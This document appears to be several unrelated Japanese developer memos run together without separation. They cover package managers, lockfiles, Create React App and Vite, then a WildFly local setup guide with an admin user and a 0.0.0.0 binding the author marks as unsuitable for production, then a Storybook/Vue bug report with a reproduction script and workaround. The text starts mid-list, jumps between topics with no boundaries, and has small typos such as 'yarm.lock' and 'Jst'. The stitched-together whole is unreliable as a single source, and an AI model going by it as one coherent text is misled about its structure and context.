* プロジェクトごとに使用するバージョンを指定する（ローカルのバージョン）ことや、システム全体でデフォルトとして使用するバージョンを指定する（グローバルのバージョン）ことが可能です。

* さまざまな言語やツールに対して、一貫したコマンドセットで操作を行うことができます。


# yarnとnpm
* JavaScriptのパッケージマネージャーで、Node.jsのプロジェクトの依存関係を管理するためのツール
* yarnのほうが高速でReactのコミュニティでよく使われている
* yarn install でdependenciesとdevDependenciesのパッケージがインストールされる
* devDependenciesにパッケージをインストール
    * yarn add -D または　--dev

## package.json
* 各パッケージのインストールするべきバージョンの範囲が指定されている
* package.jsonの内容が同じでも、yarn installでインストールされた内容は今日実行するのと、1ヶ月後にじっこうするとのでは異なる場合がある
* もし各々でパッケージのバージョンが異なると挙動が変わることがあるので問題

## yarm.lock(yarn)とpackage-lock.json(npm)
* 各パッケージの正確なバージョンを記録します
* リポジトリにコミットすることで、チームのメンバー全員が同じ依存関係のバージョンを使用することが確実になります。

# Create React App (CRA)
* 以前はBabel導入、webpack導入、連携するように調整してReact環境を構築していた
* CRAを使用することで煩雑な環境構築の導入を簡単に設定して環境構築することができる
    * Webpack、Babel採用、Jst、ESLint、など便利なツールが統合されている
    * ejectすることで、Webpackも高度な設定が可能
    
# Vite
* Webpack&Babelの環境は遅い、CRAプロジェクトのメンテナンスが遅く、CRAに変わるViteが登場
* ゼロコンフィグ、ESMネイティブ、爆速、ノーバンドル
wildfly 初期設定メモ

最近Tomcatの代わりにWildflyを使っています。
特に Macで開発していると、ログがカラーで流れて、楽しいです。

自分のPCにローカル開発環境を作成する時のメモです。
本番サーバでは、以下のような設定はしないで下さい。

* 管理者パスワード設定
      MACの時  add-user.sh  を実行
      Windowsの時は add-user.batを実行

      a)かb)か聞いてくるので、何も入力せずENTERを押す（aが選ばれます）
      Username に admin　と入力
      続いてパスワードとか入力

* 管理者画面の確認
    http://localhost:8080/  にアクセス
    Administration Console のリンクをクリック

    http://localhost:9990  のログイン画面が出るので、上で入力した
    ユーザー名とパスワードを入力。


* ホットデプロイの設定

{Wildfly_Home}/standalone/configuration/standalone.xml

deployment-scanner を検索する

auto-deploy-exploded="true"を追記する


* 他のPCからも接続を可能にする

おなじく standalone.xml 最後の方に以下がある

```
        <interface name="public">
            <inet-address value="${jboss.bind.address:127.0.0.1}"/>
        </interface>
```

以下のように変更する

```
　　　　　<interface name="public">
            <inet-address value="${jboss.bind.address:0.0.0.0}"/>
        </interface>
```
[Storybook][Vue] 子コンポーネントのsetup()中のエラーが無視されてテンプレート評価に進んでしまう問題

## 再現方法

下のようにプロジェクトを用意し、storybookを実行して Foo ストーリーを開く。

```sh
ruby -e 'loop { puts "\n" }' | npm create vue@latest
cd vue-project

npx -y storybook@latest init
# 一旦Ctrl+Cで storybook サーバを止める

cat > src/stories/Foo.stories.js <<'EOS'
import Foo from './Foo.vue';

export default {
    component: Foo,
    tags: ['autodocs']
};

export const Primary = {
};
EOS

cat > src/stories/Foo.vue <<'EOS'
<template>
    <div class="foo">
        <Bar></Bar>
    </div>
</template>
<script setup>
    import Bar from "./Bar.vue"
</script>
EOS

cat > src/stories/Bar.vue <<'EOS'
<template>
    <div class="bar">
        {{obj.baz}} <!-- Error: $setup.obj is undefined -->
    </div>
</template>
<script setup>
    throw new Error("error in Bar#setup()") // error is silently discarded.

    const obj = reactive({baz: "baz"})
</script>
EOS

npm run storybook
```

## 問題

![img 2023-09-20 15.22.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/97143/dca05b71-dc1f-f423-4f70-f17b19dd3b41.png)

２つの問題がある。

- Bar の setup() で評価が失敗しているのに、テンプレートの評価に進み、 obj が未定義というエラーになる。
- 肝心のエラー `error in Bar#setup()` はコンソールを含め、どこにも出てこない。

## 解決方法

根本的ではないが、エラーが捨てられてしまい原因を見つけるのに時間がかかってしまう点については、`.storybook/preview.ts` に次を追加することでコンソールには表示されるようになる。

```js:.storybook/preview.ts
import {setup} from '@storybook/vue3';

setup((app) => {
    const origHandler = app.config.errorHandler
    app.config.errorHandler = (err, instance, info) => {
        console.error(err)
        origHandler(err, instance, info)
    }
});
```

Stackblitzで再現したら、バグレポしよう。。